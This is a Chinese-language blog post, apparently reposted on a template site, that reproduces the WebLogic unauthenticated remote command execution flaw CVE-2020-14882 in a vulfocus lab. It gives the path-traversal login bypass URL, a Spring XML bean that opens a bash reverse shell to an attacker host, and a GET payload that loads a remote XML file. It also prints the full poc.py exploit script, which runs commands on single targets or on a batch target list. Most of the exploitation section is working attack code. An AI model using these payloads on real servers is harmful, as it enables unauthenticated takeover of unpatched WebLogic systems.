CVE-2020-14882 weblogic未授权远程命令执行漏洞

这篇具有很好参考价值的文章主要介绍了CVE-2020-14882 weblogic未授权远程命令执行漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一、漏洞描述

Oracle WebLogic Server 远程代码执行漏洞 (CVE-2020-14882)POC 被公开,未经身份验证)的远程攻击者可通过构造特殊的 HTTP GET 请求,结合 CVE-2020-14883 漏洞进行利用,利用此漏洞可在未经身份验证的情况下直接接管 WebLogic Server Console ,并执行任意代码,利用门槛低,危害巨大

二、weblogic

WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

三、影响范围

Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.3,12.2.1.4,14.1.1.0。

四、漏洞复现

1.开启vulfocus靶场环境
cve2020-14882,CVE漏洞复现,java,开发语言,网络安全,web安全,Powered by 金山文档

直接访问地址会发现无法访问

cve2020-14882,CVE漏洞复现,java,开发语言,网络安全,web安全,Powered by 金山文档

需要在后面加上/console/login/LoginForm.jsp,发现以下登入页面

cve2020-14882,CVE漏洞复现,java,开发语言,网络安全,web安全,Powered by 金山文档
2.进入后台

尝试用burp爆破,花时收获甚微,这里有一个绕过验证漏洞,我们使用构造URL

http://10.0.0.128:52634/console/css/%252e%252e%252fconsole.portal

成功进入了后台,但是获得的权限很低

cve2020-14882,CVE漏洞复现,java,开发语言,网络安全,web安全,Powered by 金山文档
3.漏洞利用

来自https://github.com/GGyao/CVE-2020-14882_ALL/blob/master/README.md上的漏洞利用脚本以及方法

一、命令回显
python3 poc.py -u http://ip:port -c “{指令}”

这里的指令使用whoami进行测试,成功回显

cve2020-14882,CVE漏洞复现,java,开发语言,网络安全,web安全,Powered by 金山文档
二、批量命令回显
python3 poc.py -u http://ip:port -f target.txt -c "{cmd}"

target.txt 为 ip:port目标,一行一个,由于只开了一个靶机,这里不复现

三、外置xml文件无回显命令执行

编辑好xml文件

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
 <value>/bin/bash</value>
        <value>-c</value>
        <value><![CDATA[bash -i >& /dev/tcp/10.0.0.127/4444  0>&1]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

修改cmd指令为反弹shell

<![CDATA[bash -i >& /dev/tcp/10.0.0.127/4444  0>&1]]>

开启python http服务,让其能访问kali上的xml文件:

cve2020-14882,CVE漏洞复现,java,开发语言,网络安全,web安全,Powered by 金山文档
cve2020-14882,CVE漏洞复现,java,开发语言,网络安全,web安全,Powered by 金山文档

开启nc监听:

cve2020-14882,CVE漏洞复现,java,开发语言,网络安全,web安全,Powered by 金山文档

尝试使用脚本中-x指令运行,结果有访问记录而无shell反弹,

尝试在浏览器使用get请求

payload:

http://ip:port/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://kaliip/xxx.xml")

成功获取shell:文章来源地址https://www.toymoban.com/news/detail-566728.html

cve2020-14882,CVE漏洞复现,java,开发语言,网络安全,web安全,Powered by 金山文档

poc.py

#coding:utf-8
import requests
import sys
import argparse
import http.client

http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'

requests.packages.urllib3.disable_warnings()


#功能1方法:回显命令执行。
def command(url_cmd,headers_cmd,url):
	try:
		res = requests.get(url_cmd, headers = headers_cmd,timeout = 15, verify = False)
		if "<html" not in res.text and "<TITLE" not in res.text :
			print ("[+] Command success result:")
			print (res.text)

		else:
			print ("[-] " + url + " not vulnerable or command error!")
	except Exception as e:
		#print (e)
		print ("[-] " + url + " not vulnerable or command error!")


#功能2方法:无回显,命令执行,适用于Weblogic 10.x、12.x。
def weblogic_12(url_cmd,post_12,headers_12):
	try:
		res = requests.post(url_cmd, data = post_12, headers = headers_12,timeout = 15, verify = False)
		#print ("[+] Attack complete!")
	except Exception as e:
		print ("[+] Attack complete!")

def main():
	banner = """  _______      ________    ___   ___ ___   ___        __ _  _   ___   ___ ___  
 / ____\ \    / /  ____|  |__ \ / _ \__ \ / _ \      /_ | || | / _ \ / _ \__ \ 
| |     \ \  / /| |__ ______ ) | | | | ) | | | |______| | || || (_) | (_) | ) |
| |      \ \/ / |  __|______/ /| | | |/ /| | | |______| |__   _> _ < > _ < / / 
| |____   \  /  | |____    / /_| |_| / /_| |_| |      | |  | || (_) | (_) / /_ 
 \_____|   \/   |______|  |____|\___/____|\___/       |_|  |_| \___/ \___/____|
                                                                               
                                                         Author:GGyao
                                                         Github:https://github.com/GGyao

"""

	print (banner)
	parser = argparse.ArgumentParser()
	parser.add_argument("-u", "--url", help="Target URL; Example:http://ip:port。")
	parser.add_argument("-f", "--file", help="Target File; Example:target.txt。")
	parser.add_argument("-c", "--cmd", help="Commands to be executed; ")
	parser.add_argument("-x", "--xml", help="Remote XML file; Example:http://vpsip/poc.xml; ")
	args = parser.parse_args()

	#功能1:命令回显。
	if args.url != None and args.cmd != None:
		url = args.url
		url_cmd = args.url + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("%5C%5CA").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')"""
		headers_cmd = {
		'User-Agent':'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0',
		'cmd':args.cmd,
		'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
		'Content-Type':'application/x-www-form-urlencoded'
		}

		#post_cmd = """_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandler")%3bfield.setAccessible(true)%3bObject+obj+%3d+field.get(adapter)%3bweblogic.servlet.internal.ServletRequestImpl+req+%3d+(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj)%3b+String+cmd+%3d+req.getHeader("cmd")%3bString[]+cmds+%3d+System.getProperty("os.name").toLowerCase().contains("window")+%3f+new+String[]{"cmd.exe",+"/c",+cmd}+%3a+new+String[]{"/bin/sh",+"-c",+cmd}%3bif(cmd+!%3d+null+){+String+result+%3d+new+java.util.Scanner(new+java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\\A").next()%3b+weblogic.servlet.internal.ServletResponseImpl+res+%3d+(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req)%3b+res.getServletOutputStream().writeStream(new+weblogic.xml.util.StringInputStream(result))%3bres.getServletOutputStream().flush()%3bres.getWriter().write("")%3b}')"""

	
		#command(url_cmd,post_cmd,headers_cmd,url)
		command(url_cmd,headers_cmd,url)

	#功能2:weblogic 12.x命令执行。
	if args.url != None and args.xml != None:
		url_cmd = args.url + '/console/images/%252e%252e/console.portal'
		headers_12 = {
		'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0',
		'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
		'Content-Type':'application/x-www-form-urlencoded'
		}

		post_12 = """_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22{}%22)""".format(args.xml)

		weblogic_12(url_cmd,post_12,headers_12)

	# 功能3:回显命令执行批量。
	if args.file != None and args.cmd != None:
		#print (1)
		for File  in open(args.file):
			File = File.strip()
			url_cmd = File + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("%5C%5CA").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')"""
			print ("[*] >>> Test:" + File)

			url = File
			headers_cmd = {
			'User-Agent':'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0',
			'cmd':args.cmd,
			'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
			'Content-Type':'application/x-www-form-urlencoded'
			}


			#post_cmd = """_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandler")%3bfield.setAccessible(true)%3bObject+obj+%3d+field.get(adapter)%3bweblogic.servlet.internal.ServletRequestImpl+req+%3d+(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj)%3b+String+cmd+%3d+req.getHeader("cmd")%3bString[]+cmds+%3d+System.getProperty("os.name").toLowerCase().contains("window")+%3f+new+String[]{"cmd.exe",+"/c",+cmd}+%3a+new+String[]{"/bin/sh",+"-c",+cmd}%3bif(cmd+!%3d+null+){+String+result+%3d+new+java.util.Scanner(new+java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\\A").next()%3b+weblogic.servlet.internal.ServletResponseImpl+res+%3d+(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req)%3b+res.getServletOutputStream().writeStream(new+weblogic.xml.util.StringInputStream(result))%3bres.getServletOutputStream().flush()%3bres.getWriter().write("")%3b}')"""
			command(url_cmd,headers_cmd,url)


if __name__=="__main__":
	main()

到了这里,关于CVE-2020-14882 weblogic未授权远程命令执行漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • CNVD-C-2019-48814 WebLogic反序列化远程命令执行漏洞

    漏洞信息        漏洞名称:OracleWebLogic wls9-async反序列化远程命令执行漏洞(CNVD-C-2019-48814) 影响版本:- WebLogic 10.x                      - WebLogic 12.1.3  此漏洞影响启用bea_wls9_async_response组件及wls-wsat组件的所有Weblogic版本。 漏洞评级:高危 漏洞简介: WebLogic Server是美

    2023年04月08日
    浏览(30)
  • GoAhead远程命令执行漏洞(CVE-2021-42342)

    目录 GoAhead远程命令执行漏洞(CVE-2021-42342) 漏洞描述 漏洞复现 启动环境 复现漏洞 漏洞主要是由于上传过滤器没有设置不受信任的var位绕过CGI处理程序的前缀检测,渗透人员可以利用这个漏洞在未授权的情况下,构造恶意程序数据执行远程命令执行攻击,进而获得服务器的最

    2024年02月09日
    浏览(31)
  • CVE-2021-22205 GitLab 远程命令执行漏洞复现

    目录 一、漏洞信息 二、环境搭建 三、复现过程 1.测试漏洞 2.漏洞利用,反弹shell 四、修复建议 一、漏洞信息 漏洞名称 GITLAB 远程命令执行漏洞 漏洞编号 CVE-2021-22205 危害等级 高危 CVSS评分 6.5 漏洞厂商 Ruby 受影响版本 11.9 = Gitlab CE/EE 13.8.8;13.9 = Gitlab CE/EE 13.9.6;13.10 = Gitlab

    2024年02月05日
    浏览(33)
  • 漏洞复现-SeaCMS_v10.1_远程命令执行(CNVD-2020-22721)

    seacms_v10.1有效 cnvd-2020-22721 命令执行漏洞 海洋CMS一套程序自适应电脑、手机、平板、APP多个终端入口。 SeaCMS v10.1存在命令执行漏洞,在w1aqhp/admin_ip.php下第五行使用set参数,对用户输入没有进行任何处理,直接写入文件。攻击者可利用该漏洞执行恶意代码,获取服务器权限。

    2024年02月08日
    浏览(29)
  • MS08-067 (CVE-2008-4250) 远程命令执行漏洞

    本文为08年出现的漏洞进行复现,仅作为学习参考,切勿非法利用! MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize 函数时触发的,而NetPathCanonicalize 函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPath

    2024年02月08日
    浏览(73)
  • 03Apache Solr 远程命令执行漏洞(CVE-2019-0193)

    0x01 漏洞介绍 Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。 此次漏洞出现在 Apache Solr 的 DataImportHandler ,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的 DIH配置都可以通过外

    2024年02月09日
    浏览(30)
  • CVE-2021-40444分析报告微软MHTML远程命令执行漏洞

    2021 年 8 月 21 日,MSTIC 观察到一名 Mandiant 员工在社交媒体上发布的帖子,该员工具有跟踪 Cobalt Strike Beacon 基础设施的经验。所写文章重点介绍了一个于 2021 年 8 月 19 日上传到 VirusTotal的 Microsoft Word 文档(SHA-256:3bddb2e1a85a9e06b9f9021ad301fdcde33e197225ae1676b8c6d0b416193ecf)。 MSTIC 对样

    2024年02月08日
    浏览(24)
  • Jupyter Notebook 未授权访问远程命令执行漏洞

    Jupyter是一个开源的交互式计算环境,它支持多种编程语言,包括Python、R、Julia等。Jupyter的名称来源于三种编程语言的缩写:Ju(lia)、Py(thon)和R。 Jupyter的主要特点是它以笔记本(Notebook)的形式组织代码、文本和多媒体内容。笔记本可以包含代码、注释、图表、公式和可运行的

    2024年02月14日
    浏览(31)
  • Spring Data Commons远程命令执行漏洞复现(CVE-2018-1273)

    一、漏洞说明 Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,包含Commons、Gemfire、JPA、JDBC、MongoDB等模块。此漏洞产生于Spring Data Commons组件,该组件为提供共享的基础框架,适合各个子项目使用,支持跨数据库持久化。 Spring Data Commons组件中存在远程代码执行

    2024年02月09日
    浏览(36)
  • CVE-2021-44228 Apache log4j 远程命令执行漏洞

    一、漏洞原理 log4j(log for java)是由Java编写的可靠、灵活的日志框架,是Apache旗下的一个开源项目,使用Log4j,我们更加方便的记录了日志信息,它不但能控制日志输出的目的地,也能控制日志输出的内容格式;通过定义不同的日志级别,可以更加精确的控制日志的生成过程,

    2024年02月08日
    浏览(42)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包